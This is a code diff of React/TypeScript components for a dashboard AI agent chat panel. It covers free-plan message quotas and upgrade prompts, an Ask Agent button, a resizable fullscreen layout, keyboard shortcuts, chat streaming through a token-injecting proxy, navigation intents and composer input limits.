||||
context?: React.ReactNode;
|
||||
}) {
|
||||
const organization = useOrganization();
|
||||
|
||||
return (
|
||||
<div className={SLOT}>
|
||||
{context}
|
||||
<div className="mt-1.5 flex flex-col gap-2 rounded-md border border-border-bright bg-background-dimmed p-3">
|
||||
<div className="flex items-center gap-1.5">
|
||||
<AgentIcon className={cn("size-4 shrink-0", AGENT_ICON_ACCENT_CLASS)} />
|
||||
<span className="text-sm font-medium text-text-bright">
|
||||
Upgrade to unlock {ASK_AGENT_LABEL}
|
||||
</span>
|
||||
</div>
|
||||
<p className="text-xs text-text-dimmed">
|
||||
You've used all {limit} messages included on the Free plan. Your chats stay here to read.
|
||||
</p>
|
||||
<LinkButton variant="primary/small" to={v3BillingPath(organization)} fullWidth>
|
||||
Upgrade
|
||||
</LinkButton>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function AgentQuotaNotice({ remaining, limit }: { remaining: number; limit: number }) {
|
||||
const organization = useOrganization();
|
||||
|
||||
return (
|
||||
<div className="flex shrink-0 items-center gap-1 bg-background-bright px-3 pb-2 text-xs text-text-dimmed">
|
||||
<span>
|
||||
{remaining} of {limit} free messages left
|
||||
</span>
|
||||
<span aria-hidden>·</span>
|
||||
<Link
|
||||
to={v3BillingPath(organization)}
|
||||
className="text-text-link underline-offset-2 hover:underline"
|
||||
>
|
||||
Upgrade
|
||||
</Link>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { SimpleTooltip } from "~/components/primitives/Tooltip";
|
||||
import { AgentIcon, AGENT_ICON_ACCENT_CLASS, ASK_AGENT_LABEL } from "./agent-identity";
|
||||
import { requestDashboardAgent, useDashboardAgentAvailable } from "./dashboardAgentOpenRequest";
|
||||
|
||||
// Goes through the open-request bridge rather than the provider context, so it works
|
||||
// on pages above the environment layout.
|
||||
export function AskAgentButton({
|
||||
prompt,
|
||||
label = ASK_AGENT_LABEL,
|
||||
iconOnly = false,
|
||||
variant = "small-menu-item",
|
||||
className,
|
||||
fallback = null,
|
||||
}: {
|
||||
prompt?: string;
|
||||
label?: string;
|
||||
iconOnly?: boolean;
|
||||
variant?: "small-menu-item" | "secondary/small" | "primary/small";
|
||||
className?: string;
|
||||
fallback?: React.ReactNode;
|
||||
}) {
|
||||
const available = useDashboardAgentAvailable();
|
||||
if (!available) return <>{fallback}</>;
|
||||
|
||||
const button = (
|
||||
<Button
|
||||
type="button"
|
||||
variant={variant}
|
||||
data-action="ask-agent"
|
||||
LeadingIcon={AgentIcon}
|
||||
leadingIconClassName={AGENT_ICON_ACCENT_CLASS}
|
||||
className={className}
|
||||
aria-label={iconOnly ? label : undefined}
|
||||
onClick={() => requestDashboardAgent(prompt)}
|
||||
>
|
||||
{iconOnly ? undefined : label}
|
||||
</Button>
|
||||
);
|
||||
|
||||
return iconOnly ? (
|
||||
<SimpleTooltip
|
||||
asChild
|
||||
tabbable
|
||||
// Span wrapper: Button drops the pointer-event props Radix injects via asChild, so the
|
||||
// tooltip trigger has to be a plain element (same pattern as dashboardAgentLauncher).
|
||||
button={<span className="flex">{button}</span>}
|
||||
content={label}
|
||||
/>
|
||||
) : (
|
||||
button
|
||||
);
|
||||
}
|
||||
@@ -1,53 +1,151 @@
|
||||
import { useState } from "react";
|
||||
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
|
||||
import { useLocation } from "@remix-run/react";
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
import {
|
||||
ResizableHandle,
|
||||
ResizablePanel,
|
||||
ResizablePanelGroup,
|
||||
} from "~/components/primitives/Resizable";
|
||||
import { useShortcutKeys } from "~/hooks/useShortcutKeys";
|
||||
import { useAskAiAvailability } from "~/hooks/useAskAiAvailability";
|
||||
import { agentDeepLinkParams, ASK_AI_SHORTCUT, askAiChannelTarget } from "./ask-ai-channels";
|
||||
import { DashboardAgentPanel } from "./DashboardAgentPanel";
|
||||
import { DashboardAgentProvider } from "./dashboardAgentLauncher";
|
||||
import { DashboardAgentProvider, TOGGLE_PANEL_SHORTCUT } from "./dashboardAgentLauncher";
|
||||
import { useDashboardAgentOpenRequests } from "./dashboardAgentOpenRequest";
|
||||
import {
|
||||
agentHiddenContentClassName,
|
||||
agentTakeoverClassName,
|
||||
readAgentFullscreen,
|
||||
writeAgentFullscreen,
|
||||
} from "./panel-layout";
|
||||
|
||||
/**
|
||||
* Mounts the dashboard agent in the env layout. Renders the page content
|
||||
* (`children` = the route Outlet) and shares the open/close state via context so
|
||||
* the page-header launcher (`DashboardAgentLauncher`) can toggle it. When open it
|
||||
* splits the layout into a resizable content + agent panel, `autosaveId` persists
|
||||
* the width.
|
||||
*
|
||||
* `hasAccess` is resolved server-side in the env layout loader
|
||||
* (`canAccessDashboardAgent`); when false we render the content untouched and
|
||||
* never expose the context, so the launcher stays hidden. The resource routes
|
||||
* enforce the same check server-side.
|
||||
*/
|
||||
/** `hasAccess` is a UI gate only; the resource routes enforce the same check server-side. */
|
||||
export function DashboardAgent({
|
||||
children,
|
||||
hasAccess = false,
|
||||
promotedPrompt,
|
||||
}: {
|
||||
children: React.ReactNode;
|
||||
hasAccess?: boolean;
|
||||
promotedPrompt?: SuggestedPrompt;
|
||||
}) {
|
||||
const [open, setOpen] = useState(false);
|
||||
// Read lazily so SSR always renders the side panel.
|
||||
const [fullscreen, setFullscreen] = useState(readAgentFullscreen);
|
||||
|
||||
const toggleFullscreen = useCallback(() => {
|
||||
setFullscreen((current) => {
|
||||
writeAgentFullscreen(!current);
|
||||
return !current;
|
||||
});
|
||||
}, []);
|
||||
|
||||
// Pathname only: filter and search-param changes must keep fullscreen.
|
||||
const { pathname } = useLocation();
|
||||
const previousPathname = useRef(pathname);
|
||||
useEffect(() => {
|
||||
if (previousPathname.current === pathname) return;
|
||||
previousPathname.current = pathname;
|
||||
setFullscreen((current) => {
|
||||
if (current) writeAgentFullscreen(false);
|
||||
return false;
|
||||
});
|
||||
}, [pathname]);
|
||||
const [newChatSeq, setNewChatSeq] = useState(0);
|
||||
const [requestedMessage, setRequestedMessage] = useState<
|
||||
{ text: string; seq: number } | undefined
|
||||
>(undefined);
|
||||
|
||||
const setPanelOpen = useCallback((next: boolean) => {
|
||||
setOpen(next);
|
||||
// Pending requests must be dropped or a stale one re-applies on the next open.
|
||||
if (!next) {
|
||||
setFullscreen(false);
|
||||
writeAgentFullscreen(false);
|
||||
setRequestedMessage(undefined);
|
||||
}
|
||||
}, []);
|
||||
|
||||
const openWith = useCallback((text: string) => {
|
||||
const trimmed = text.trim();
|
||||
if (!trimmed) return;
|
||||
setOpen(true);
|
||||
setRequestedMessage((current) => ({ text: trimmed, seq: (current?.seq ?? 0) + 1 }));
|
||||
}, []);
|
||||
|
||||
// ⌘J is contextual: closed opens the panel, open starts a new chat. It never closes.
|
||||
useShortcutKeys({
|
||||
shortcut: TOGGLE_PANEL_SHORTCUT,
|
||||
action: () => {
|
||||
if (!open) {
|
||||
setPanelOpen(true);
|
||||
} else {
|
||||
setNewChatSeq((seq) => seq + 1);
|
||||
}
|
||||
},
|
||||
disabled: !hasAccess,
|
||||
enabledOnInputElements: true,
|
||||
});
|
||||
|
||||
// ⌘I and the CLI's `?aiHelp=` link are Ask AI's; the agent only answers them where Ask AI
|
||||
// cannot open.
|
||||
const askAi = useAskAiAvailability();
|
||||
const ownsAskAiChannels = askAiChannelTarget(askAi) === "dashboard-agent";
|
||||
|
||||
useShortcutKeys({
|
||||
shortcut: ASK_AI_SHORTCUT,
|
||||
action: () => setPanelOpen(true),
|
||||
disabled: !hasAccess || !ownsAskAiChannels,
|
||||
enabledOnInputElements: true,
|
||||
});
|
||||
|
||||
useDashboardAgentOpenRequests({
|
||||
enabled: hasAccess,
|
||||
openWith,
|
||||
setOpen: setPanelOpen,
|
||||
deepLinkParams: agentDeepLinkParams(askAi),
|
||||
});
|
||||
|
||||
const context = useMemo(
|
||||
() => ({ open, setOpen: setPanelOpen, openWith }),
|
||||
[open, setPanelOpen, openWith]
|
||||
);
|
||||
|
||||
if (!hasAccess) {
|
||||
return <div className="h-full min-h-0">{children}</div>;
|
||||
}
|
||||
|
||||
return (
|
||||
<DashboardAgentProvider value={{ open, setOpen }}>
|
||||
<DashboardAgentProvider value={context}>
|
||||
{open ? (
|
||||
<ResizablePanelGroup
|
||||
orientation="horizontal"
|
||||
autosaveId="dashboard-agent-split"
|
||||
className="h-full min-h-0"
|
||||
>
|
||||
<ResizablePanel id="dashboard-content" min="320px">
|
||||
<div className="h-full overflow-hidden">{children}</div>
|
||||
</ResizablePanel>
|
||||
<ResizableHandle id="dashboard-agent-handle" />
|
||||
<ResizablePanel id="dashboard-agent-panel" default="380px" min="320px" max="720px">
|
||||
<DashboardAgentPanel onClose={() => setOpen(false)} />
|
||||
</ResizablePanel>
|
||||
</ResizablePanelGroup>
|
||||
// `relative` is the takeover's containing block.
|
||||
<div className="relative h-full min-h-0">
|
||||
<ResizablePanelGroup
|
||||
orientation="horizontal"
|
||||
autosaveId="dashboard-agent-split"
|
||||
className="h-full min-h-0"
|
||||
>
|
||||
<ResizablePanel id="dashboard-content" min="320px">
|
||||
<div className={agentHiddenContentClassName(fullscreen)}>{children}</div>
|
||||
</ResizablePanel>
|
||||
<ResizableHandle
|
||||
id="dashboard-agent-handle"
|
||||
className={fullscreen ? "invisible" : undefined}
|
||||
/>
|
||||
<ResizablePanel id="dashboard-agent-panel" default="380px" min="320px" max="720px">
|
||||
<div className={agentTakeoverClassName(fullscreen)}>
|
||||
<DashboardAgentPanel
|
||||
onClose={() => setPanelOpen(false)}
|
||||
requestedMessage={requestedMessage}
|
||||
newChatSeq={newChatSeq}
|
||||
promotedPrompt={promotedPrompt}
|
||||
isFullscreen={fullscreen}
|
||||
onToggleFullscreen={toggleFullscreen}
|
||||
/>
|
||||
</div>
|
||||
</ResizablePanel>
|
||||
</ResizablePanelGroup>
|
||||
</div>
|
||||
) : (
|
||||
<div className="h-full min-h-0 overflow-hidden">{children}</div>
|
||||
)}
|
||||
|
||||
@@ -1,37 +1,47 @@
|
||||
import { useChat } from "@ai-sdk/react";
|
||||
import type { UIMessage } from "@ai-sdk/react";
|
||||
import type { dashboardAgent } from "@internal/dashboard-agent";
|
||||
import type { AgentIntent, SuggestedPrompt } from "@internal/dashboard-agent-contracts";
|
||||
import { useNavigate } from "@remix-run/react";
|
||||
import { useTriggerChatTransport } from "@trigger.dev/sdk/chat/react";
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import { useToast } from "~/components/primitives/Toast";
|
||||
import { AgentQuotaNotice, AgentUpgradeBlock } from "./AgentUpgradeGate";
|
||||
import { DashboardAgentComposer } from "./DashboardAgentComposer";
|
||||
import { DashboardAgentContextBanner } from "./DashboardAgentContextBanner";
|
||||
import { DashboardAgentMessages } from "./DashboardAgentMessages";
|
||||
import { DashboardAgentSuggestedPrompts } from "./DashboardAgentSuggestedPrompts";
|
||||
import { DashboardAgentHero } from "./DashboardAgentHero";
|
||||
import { DashboardAgentMessages, type TurnActivity } from "./DashboardAgentMessages";
|
||||
import { MESSAGE_TOO_LARGE_ERROR } from "./message-limits";
|
||||
import { createTranscriptOrder, orderTranscript } from "./message-order";
|
||||
import { navigateDestination } from "./navigate-target";
|
||||
import { pendingNavigateIntents } from "./pending-intents";
|
||||
import type { AgentPageContext } from "./page-context-types";
|
||||
import { retryAction } from "./retry-action";
|
||||
import {
|
||||
fetchChatTranscript,
|
||||
pollSettledTranscript,
|
||||
transcriptLooksUnfinished,
|
||||
} from "./settled-transcript";
|
||||
import { useAgentMessageQuota } from "./useAgentMessageQuota";
|
||||
import { useTriggerUriResolver } from "./useTriggerUriResolver";
|
||||
|
||||
// The persisted session for a chat: the session-scoped token plus the stream
|
||||
// cursor. Resuming with `lastEventId` is what stops the agent's `.out` stream
|
||||
// from replaying the previous turn.
|
||||
// Resuming with `lastEventId` stops the `.out` stream replaying the previous turn.
|
||||
export type DashboardAgentSession = {
|
||||
publicAccessToken: string;
|
||||
lastEventId?: string;
|
||||
};
|
||||
|
||||
// Per-turn context for the agent. Matches the agent's clientDataSchema input.
|
||||
// Matches the agent's clientDataSchema input.
|
||||
export type DashboardAgentClientData = {
|
||||
userId: string;
|
||||
organizationId: string;
|
||||
projectId?: string;
|
||||
environmentId?: string;
|
||||
currentPage?: string;
|
||||
pageContext?: AgentPageContext;
|
||||
};
|
||||
|
||||
/**
|
||||
* A single conversation. The panel mounts this with `key={chatId}`, so each
|
||||
* chat gets its own transport constructed with its persisted session — the
|
||||
* resume cursor flows in declaratively via the `sessions` option rather than
|
||||
* an imperative setSession after the fact. A fresh chat passes no session and
|
||||
* starts a new run on first send.
|
||||
*/
|
||||
/** Mounted with `key={chatId}`: the resume cursor arrives via `sessions`, not setSession. */
|
||||
export function DashboardAgentChat({
|
||||
chatId,
|
||||
initialMessages,
|
||||
@@ -44,7 +54,11 @@ export function DashboardAgentChat({
|
||||
currentPage,
|
||||
pendingFirstMessage,
|
||||
streaming,
|
||||
prefill,
|
||||
promotedPrompt,
|
||||
pagePaths,
|
||||
onTurnSettled,
|
||||
onActivityChange,
|
||||
}: {
|
||||
chatId: string;
|
||||
initialMessages: UIMessage[];
|
||||
@@ -54,31 +68,47 @@ export function DashboardAgentChat({
|
||||
actionPath: string;
|
||||
projectSlug: string;
|
||||
environmentSlug: string;
|
||||
// Display label only; the path the agent sees is `clientData.currentPage`.
|
||||
currentPage: string;
|
||||
// Cold start: send this first message through the transport once on mount to
|
||||
// trigger the turn. Undefined for head-started and resumed chats.
|
||||
// Undefined for head-started and resumed chats.
|
||||
pendingFirstMessage?: string;
|
||||
// Head start: the turn is already in flight, so hydrate the session as
|
||||
// streaming so the transport resumes `session.out` instead of treating it as
|
||||
// a settled session with nothing to reconnect to.
|
||||
streaming?: boolean;
|
||||
// `seq` makes each request distinct so the same text can be sent twice.
|
||||
prefill?: { text: string; seq: number };
|
||||
promotedPrompt?: SuggestedPrompt;
|
||||
pagePaths?: Record<string, string>;
|
||||
onTurnSettled: () => void;
|
||||
onActivityChange?: (chatId: string, activity: TurnActivity | null) => void;
|
||||
}) {
|
||||
const [input, setInput] = useState("");
|
||||
const navigate = useNavigate();
|
||||
const toast = useToast();
|
||||
|
||||
const prefilledSeq = useRef<number | undefined>(undefined);
|
||||
useEffect(() => {
|
||||
if (!prefill || prefilledSeq.current === prefill.seq) return;
|
||||
prefilledSeq.current = prefill.seq;
|
||||
setInput(prefill.text);
|
||||
}, [prefill]);
|
||||
|
||||
const transport = useTriggerChatTransport<typeof dashboardAgent>({
|
||||
task: "dashboard-agent",
|
||||
baseURL: apiOrigin,
|
||||
// New chats are created server-side (the `create` action owns the id and
|
||||
// runs head start), so there's no client-driven head-start route here.
|
||||
// Redirect only the `in`/append to the same-origin proxy, which mints +
|
||||
// injects the delegated user token server-side. `baseURL` stays a string so
|
||||
// `out` (the long-lived SSE) keeps the SDK's realtime-host routing — we
|
||||
// never override it. The proxy forwards the same path on to the API.
|
||||
fetch: (url, init, ctx) => {
|
||||
// Only `in` goes through the same-origin proxy, which injects the delegated user
|
||||
// token server-side. `baseURL` stays a string so `out` keeps the SDK's realtime routing.
|
||||
fetch: async (url, init, ctx) => {
|
||||
if (ctx.endpoint !== "in") return globalThis.fetch(url, init);
|
||||
const { pathname, search } = new URL(url);
|
||||
return globalThis.fetch(`${actionPath}/in${pathname}${search}`, init);
|
||||
const res = await globalThis.fetch(`${actionPath}/in${pathname}${search}`, init);
|
||||
// A refused message never succeeds on a retry, so it surfaces as the turn's error.
|
||||
if (res.status === 413) {
|
||||
const data = (await res
|
||||
.clone()
|
||||
.json()
|
||||
.catch(() => null)) as { error?: string } | null;
|
||||
throw new Error(data?.error ?? MESSAGE_TOO_LARGE_ERROR);
|
||||
}
|
||||
return res;
|
||||
},
|
||||
clientData,
|
||||
sessions: session
|
||||
@@ -86,9 +116,7 @@ export function DashboardAgentChat({
|
||||
[chatId]: {
|
||||
publicAccessToken: session.publicAccessToken,
|
||||
lastEventId: session.lastEventId,
|
||||
// Head-started chats are mid-turn, so mark the session streaming to
|
||||
// make the transport resume `session.out`. A settled session
|
||||
// (history) stays false — its transcript loads from the store.
|
||||
// Mid-turn chats must be marked streaming or the transport won't resume `session.out`.
|
||||
isStreaming: streaming ?? false,
|
||||
},
|
||||
}
|
||||
@@ -119,24 +147,33 @@ export function DashboardAgentChat({
|
||||
});
|
||||
|
||||
const {
|
||||
messages,
|
||||
messages: rawMessages,
|
||||
setMessages,
|
||||
sendMessage,
|
||||
regenerate,
|
||||
status,
|
||||
stop: aiStop,
|
||||
error,
|
||||
clearError,
|
||||
} = useChat({
|
||||
id: chatId,
|
||||
messages: initialMessages,
|
||||
transport,
|
||||
// Resume an existing/head-started session's stream. A cold-start chat has a
|
||||
// session but nothing to resume yet — it sends its first message instead.
|
||||
resume: !!session && !pendingFirstMessage,
|
||||
});
|
||||
|
||||
const isStreaming = status === "streaming";
|
||||
const isThinking = status === "submitted";
|
||||
const orderRef = useRef(createTranscriptOrder(initialMessages));
|
||||
const messages = orderTranscript(rawMessages, orderRef.current);
|
||||
|
||||
// Counted here, not in the panel, so it includes the turn just sent.
|
||||
const quota = useAgentMessageQuota({ actionPath, chatId, messages });
|
||||
const atMessageCap = quota.kind === "reached";
|
||||
|
||||
const isStreaming = status === "streaming";
|
||||
// From status, not the last part: the indicator must stay up through silent tool calls.
|
||||
const activity: TurnActivity | null =
|
||||
status === "submitted" ? "thinking" : status === "streaming" ? "working" : null;
|
||||
|
||||
// Cold start: trigger the first turn by sending the pending message once.
|
||||
const sentFirst = useRef(false);
|
||||
useEffect(() => {
|
||||
if (pendingFirstMessage && !sentFirst.current) {
|
||||
@@ -148,47 +185,170 @@ export function DashboardAgentChat({
|
||||
const submit = useCallback(
|
||||
(text: string) => {
|
||||
const trimmed = text.trim();
|
||||
if (!trimmed || isStreaming) return;
|
||||
// Suggested prompts and card actions bypass the composer, so the cap is enforced here too.
|
||||
if (!trimmed || isStreaming || atMessageCap) return;
|
||||
setInput("");
|
||||
void sendMessage({ text: trimmed });
|
||||
},
|
||||
[isStreaming, sendMessage]
|
||||
[isStreaming, atMessageCap, sendMessage]
|
||||
);
|
||||
|
||||
const retry = useCallback(() => {
|
||||
const action = retryAction(messages);
|
||||
if (!action) return;
|
||||
clearError();
|
||||
if (action.kind === "regenerate") {
|
||||
void regenerate();
|
||||
return;
|
||||
}
|
||||
void sendMessage({ text: action.text, messageId: action.messageId });
|
||||
}, [messages, sendMessage, regenerate, clearError]);
|
||||
|
||||
const resolveUri = useTriggerUriResolver(actionPath);
|
||||
|
||||
// `trigger://` targets resolve server-side: the server owns the environment scope.
|
||||
const goTo = useCallback(
|
||||
async (intent: Extract<AgentIntent, { kind: "navigate" }>) => {
|
||||
const body = new FormData();
|
||||
body.set("intent", "resolve");
|
||||
body.set("uri", intent.target);
|
||||
try {
|
||||
const res = await fetch(actionPath, { method: "POST", body });
|
||||
const data = (await res.json()) as { path?: string; external?: boolean };
|
||||
if (!res.ok) throw new Error(`Resolve failed (${res.status})`);
|
||||
const destination = navigateDestination(data, intent.filters);
|
||||
if (destination.kind === "none") throw new Error("Resolved to nothing routable");
|
||||
if (destination.kind === "route") {
|
||||
navigate(destination.path);
|
||||
return;
|
||||
}
|
||||
// A source file lives on GitHub. The fetch above has already broken the gesture chain,
|
||||
// so a blocked popup falls back to leaving the dashboard rather than doing nothing.
|
||||
const opened = window.open(destination.url, "_blank", "noopener,noreferrer");
|
||||
if (!opened) window.location.assign(destination.url);
|
||||
} catch (error) {
|
||||
console.error("Dashboard agent: failed to resolve a navigate target", error);
|
||||
toast.error("Couldn't open that page.");
|
||||
}
|
||||
},
|
||||
[actionPath, navigate, toast]
|
||||
);
|
||||
|
||||
// `propose_fix` is reserved and must never be executed.
|
||||
const handleIntent = useCallback(
|
||||
(intent: AgentIntent) => {
|
||||
switch (intent.kind) {
|
||||
case "ask":
|
||||
submit(intent.prompt);
|
||||
return;
|
||||
case "navigate":
|
||||
void goTo(intent);
|
||||
return;
|
||||
default:
|
||||
console.warn(`Dashboard agent: unhandled intent "${intent.kind}"`);
|
||||
}
|
||||
},
|
||||
[submit, goTo]
|
||||
);
|
||||
|
||||
// Seeded from the loaded transcript before first render, so history never re-navigates.
|
||||
const navigatedRef = useRef<Set<string> | null>(null);
|
||||
if (navigatedRef.current === null) {
|
||||
navigatedRef.current = new Set();
|
||||
pendingNavigateIntents(initialMessages, navigatedRef.current);
|
||||
}
|
||||
useEffect(() => {
|
||||
const pending = pendingNavigateIntents(messages, navigatedRef.current!);
|
||||
const target = pending.at(-1);
|
||||
if (target) void goTo(target);
|
||||
}, [messages, goTo]);
|
||||
|
||||
const stop = useCallback(() => {
|
||||
transport.stopGeneration(chatId);
|
||||
aiStop();
|
||||
}, [transport, chatId, aiStop]);
|
||||
|
||||
// Tell the panel to refresh its history list once a turn settles, so the new
|
||||
// chat appears and titles/timestamps stay current.
|
||||
// Read by the settle effect, which must not re-run when the transcript changes.
|
||||
const messagesRef = useRef(messages);
|
||||
messagesRef.current = messages;
|
||||
|
||||
const prevStatus = useRef(status);
|
||||
useEffect(() => {
|
||||
const wasInFlight = prevStatus.current === "streaming" || prevStatus.current === "submitted";
|
||||
const nowSettled = status === "ready" || status === "error";
|
||||
if (wasInFlight && nowSettled) onTurnSettled();
|
||||
prevStatus.current = status;
|
||||
}, [status, onTurnSettled]);
|
||||
if (!wasInFlight || !nowSettled) return;
|
||||
|
||||
onTurnSettled();
|
||||
// The terminal card is written to the chat row after the stream closes, so this
|
||||
// mounted panel would otherwise keep showing the last `in_progress` revision — or,
|
||||
// if the stream died mid-tool, the tool call it never got an output for.
|
||||
if (!transcriptLooksUnfinished(messagesRef.current)) return;
|
||||
void pollSettledTranscript<UIMessage>({
|
||||
fetchTranscript: () => fetchChatTranscript(actionPath, chatId),
|
||||
apply: (merge) => setMessages((current) => merge(current)),
|
||||
wait: (ms) => new Promise((resolve) => setTimeout(resolve, ms)),
|
||||
});
|
||||
}, [status, onTurnSettled, actionPath, chatId, setMessages]);
|
||||
|
||||
// Not cleared on unmount: the turn carries on server-side and reports again on remount.
|
||||
useEffect(() => {
|
||||
onActivityChange?.(chatId, activity);
|
||||
}, [chatId, activity, onActivityChange]);
|
||||
|
||||
return (
|
||||
<>
|
||||
<DashboardAgentContextBanner
|
||||
projectSlug={projectSlug}
|
||||
environmentSlug={environmentSlug}
|
||||
currentPage={currentPage}
|
||||
/>
|
||||
{messages.length === 0 ? (
|
||||
<DashboardAgentSuggestedPrompts onSelect={submit} />
|
||||
{messages.length === 0 && !pendingFirstMessage ? (
|
||||
<DashboardAgentHero
|
||||
onSelect={submit}
|
||||
pageContext={clientData.pageContext}
|
||||
promoted={promotedPrompt}
|
||||
/>
|
||||
) : (
|
||||
<DashboardAgentMessages messages={messages} isThinking={isThinking} error={error} />
|
||||
<DashboardAgentMessages
|
||||
messages={messages}
|
||||
activity={activity}
|
||||
error={error}
|
||||
onRetry={retry}
|
||||
onDismissError={clearError}
|
||||
onIntent={handleIntent}
|
||||
pagePaths={pagePaths}
|
||||
resolveUri={resolveUri}
|
||||
/>
|
||||
)}
|
||||
{quota.kind === "reached" ? (
|
||||
<AgentUpgradeBlock
|
||||
limit={quota.limit}
|
||||
context={
|
||||
<DashboardAgentContextBanner
|
||||
projectSlug={projectSlug}
|
||||
environmentSlug={environmentSlug}
|
||||
currentPage={currentPage}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
) : (
|
||||
<>
|
||||
<DashboardAgentComposer
|
||||
value={input}
|
||||
onChange={setInput}
|
||||
onSubmit={() => submit(input)}
|
||||
onStop={stop}
|
||||
isStreaming={isStreaming}
|
||||
focusKey={prefill?.seq}
|
||||
context={
|
||||
<DashboardAgentContextBanner
|
||||
projectSlug={projectSlug}
|
||||
environmentSlug={environmentSlug}
|
||||
currentPage={currentPage}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
{quota.kind === "within" && (
|
||||
<AgentQuotaNotice remaining={quota.remaining} limit={quota.limit} />
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
<DashboardAgentComposer
|
||||
value={input}
|
||||
onChange={setInput}
|
||||
onSubmit={() => submit(input)}
|
||||
onStop={stop}
|
||||
isStreaming={isStreaming}
|
||||
/>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,7 +1,15 @@
|
||||
import { PaperAirplaneIcon, StopIcon } from "@heroicons/react/20/solid";
|
||||
import { useRef } from "react";
|
||||
import { ArrowUpIcon, StopIcon } from "@heroicons/react/20/solid";
|
||||
import { useEffect, useRef } from "react";
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { cn } from "~/utils/cn";
|
||||
import { composerEscapeAction } from "./composer-escape";
|
||||
import {
|
||||
MAX_MESSAGE_CHARS,
|
||||
MESSAGE_CHARS_WARN_AT,
|
||||
messageCountAnnouncement,
|
||||
} from "./message-limits";
|
||||
|
||||
export type DashboardAgentComposerLayout = "docked" | "hero";
|
||||
|
||||
export function DashboardAgentComposer({
|
||||
value,
|
||||
@@ -9,50 +17,155 @@ export function DashboardAgentComposer({
|
||||
onSubmit,
|
||||
onStop,
|
||||
isStreaming,
|
||||
focusKey,
|
||||
context,
|
||||
layout = "docked",
|
||||
autoFocus = true,
|
||||
placeholderSuggestion,
|
||||
}: {
|
||||
value: string;
|
||||
onChange: (value: string) => void;
|
||||
onSubmit: () => void;
|
||||
onStop: () => void;
|
||||
isStreaming: boolean;
|
||||
// Bump to move focus back to the textarea.
|
||||
focusKey?: string | number;
|
||||
context?: React.ReactNode;
|
||||
layout?: DashboardAgentComposerLayout;
|
||||
autoFocus?: boolean;
|
||||
// Shown as the placeholder while the field is empty. Tab accepts it as editable
|
||||
// text; it is never sent on its own.
|
||||
placeholderSuggestion?: string;
|
||||
}) {
|
||||
const ref = useRef<HTMLTextAreaElement>(null);
|
||||
// Armed = the next Escape is taken by the draft guard; anything else re-arms it.
|
||||
const escapeGuardArmed = useRef(true);
|
||||
|
||||
useEffect(() => {
|
||||
const el = ref.current;
|
||||
if (!el || !autoFocus) return;
|
||||
el.focus();
|
||||
el.setSelectionRange(el.value.length, el.value.length);
|
||||
}, [focusKey, autoFocus]);
|
||||
|
||||
const isHero = layout === "hero";
|
||||
|
||||
const sendButton = isStreaming ? (
|
||||
<Button
|
||||
variant="minimal/small"
|
||||
className="aspect-square h-7 min-w-0 bg-charcoal-600 p-1 hover:bg-charcoal-550"
|
||||
aria-label="Stop generating"
|
||||
tooltip="Stop generating"
|
||||
onClick={onStop}
|
||||
LeadingIcon={<StopIcon className="size-4 text-white" />}
|
||||
/>
|
||||
) : (
|
||||
<Button
|
||||
variant="primary/small"
|
||||
className="aspect-square h-7 min-w-0 p-1"
|
||||
aria-label="Send"
|
||||
tooltip="Send"
|
||||
onClick={onSubmit}
|
||||
disabled={!value.trim()}
|
||||
LeadingIcon={<ArrowUpIcon className="size-4 text-white" />}
|
||||
/>
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="border-t border-grid-bright p-3">
|
||||
<div className="rounded-2xl border border-border-bright bg-background-bright p-2 transition focus-within:border-border-brighter">
|
||||
<div className="flex items-end gap-2">
|
||||
<div
|
||||
className={cn(
|
||||
"flex shrink-0 flex-col gap-1.5",
|
||||
isHero ? "w-full" : "bg-background-bright px-3 pb-3 pt-1"
|
||||
)}
|
||||
>
|
||||
{isHero ? null : context}
|
||||
<div
|
||||
className={cn(
|
||||
"border border-border-bright bg-background-bright transition focus-within:border-border-brighter",
|
||||
isHero ? "rounded-lg p-2" : "rounded-md p-1"
|
||||
)}
|
||||
>
|
||||
<div className={isHero ? "flex flex-col gap-1.5" : "flex items-end gap-1"}>
|
||||
<textarea
|
||||
ref={ref}
|
||||
rows={isHero ? 3 : 1}
|
||||
value={value}
|
||||
onChange={(e) => onChange(e.target.value)}
|
||||
// Clamped as well as `maxLength`, so a programmatic paste can't exceed the cap.
|
||||
maxLength={MAX_MESSAGE_CHARS}
|
||||
onChange={(e) => {
|
||||
escapeGuardArmed.current = true;
|
||||
onChange(e.target.value.slice(0, MAX_MESSAGE_CHARS));
|
||||
}}
|
||||
onBlur={() => {
|
||||
escapeGuardArmed.current = true;
|
||||
}}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key !== "Escape") {
|
||||
escapeGuardArmed.current = true;
|
||||
}
|
||||
if (e.key === "Enter" && !e.shiftKey && !e.nativeEvent.isComposing) {
|
||||
e.preventDefault();
|
||||
onSubmit();
|
||||
}
|
||||
// An Escape that cancels an IME composition is the user's, not the panel's: keep it
|
||||
// from the close handler without spending the draft guard's one step.
|
||||
if (e.key === "Escape" && e.nativeEvent.isComposing) {
|
||||
e.preventDefault();
|
||||
return;
|
||||
}
|
||||
// The first Escape on a draft is kept from the panel's close handler, which skips a
|
||||
// prevented event; a second one passes through unprevented and closes the panel.
|
||||
if (
|
||||
e.key === "Escape" &&
|
||||
composerEscapeAction(value, escapeGuardArmed.current) === "swallow"
|
||||
) {
|
||||
e.preventDefault();
|
||||
escapeGuardArmed.current = false;
|
||||
}
|
||||
// Only while empty, so with text present Tab keeps its normal focus behavior.
|
||||
if (e.key === "Tab" && !e.shiftKey && placeholderSuggestion && value === "") {
|
||||
e.preventDefault();
|
||||
onChange(placeholderSuggestion);
|
||||
requestAnimationFrame(() => {
|
||||
const el = ref.current;
|
||||
el?.setSelectionRange(el.value.length, el.value.length);
|
||||
});
|
||||
}
|
||||
}}
|
||||
placeholder="Type a message…"
|
||||
placeholder={placeholderSuggestion ?? "Type a message…"}
|
||||
